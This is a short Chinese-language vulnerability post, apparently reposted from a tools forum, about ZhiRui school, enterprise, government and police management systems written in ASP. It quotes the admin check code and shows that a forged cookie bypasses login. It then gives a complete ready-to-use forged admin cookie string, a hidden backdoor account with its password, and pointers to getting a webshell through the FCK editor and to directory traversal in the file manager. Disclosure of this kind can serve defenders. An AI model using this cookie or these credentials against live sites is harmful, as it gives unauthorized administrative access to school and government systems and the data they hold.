前几天恰巧需要弄一个智睿学校管理系统的站就下载了智睿的系统看了下代码，发现ADMIN目录下的
admin_check.asp文件代码是这样写的
<%
if trim(request.cookies("ZhiRui")("ZhiRuiAdmin"))<>"" then
session("ZhiRuiAdmin")=request.cookies("ZhiRui")("ZhiRuiAdmin")
session("ZhiRuiUser")=request.cookies("ZhiRui")("ZhiRuiUser")
session("AdminPurview")=request.cookies("ZhiRui")("AdminPurview")
End if
If trim(session("ZhiRuiAdmin"))="" then
Response.Write("<script language=javascript>alert('您的缓存时间已到或为空，请返回重新登录！');this.top.location.href='Admin_Login.asp';</script>")
Response.end
End if
If Request.Cookies("ZhiRui")("Check")<>"ZhiRuiSystem" then
Response.Write("<script language=javascript>alert('您的核心认证码错误，请返回重新登录！');this.top.location.href='Admin_Login.asp';</script>")
Response.end
End if
%>
是通过COOKIES进行传值给SESSION这样就可以通过伪造COOKIES进行欺骗进入管理目录，另外经发现这个系统数据库管理表中有个智睿自己留的管理账号，管理列表文件经过简单的加密，解密后发现管理员账号列表文件之调用显示了ID>1的账户，由此可知ID=1的账号是智睿自己留的小后门吧。经下载官方的企业网站系统，政府网站系统，公安信息管理系统发现，这些系统均可以经过COOKIES欺骗进入后台，而且都有隐藏账号。
COOKIES：ZhiRui=Check=ZhiRuiSystem&AdminPurview=%7C111%2C%7C112%2C%7C113%2C%7C114%2C%7C115%2C%7C116%2C%7C117%2C%7C118%2C%7C119%2C%7C121%2C%7C122%2C%7C211%2C%7C212%2C%7C311%2C%7C312%2C%7C313%2C%7C314%2C%7C511%2C%7C512%2C%7C513%2C%7C514%2C%7C611%2C%7C612%2C%7C711%2C%7C712%2C%7C713%2C%7C714%2C%7C411%2C%7C412%2C%7C413%2C%7C414%2C%7C415%2C%7C811%2C%7C812%2C%7C813%2C%7C814%2C%7C815%2C%7C911%2C&ZhiRuiUser=%C4%DA%B2%BF%B5%F7%CA%D4&ZhiRuiAdmin=zhirui
后台暂时还没发现拿WEBSHELL的方法，有个版本有FCK编辑器可以通过编辑器拿WEBSHELL，后台的文件管理可以遍历目录，就发现这些可利用的地方，请大家指正
隐藏账号是zhirui:123456
来源：TOOLS
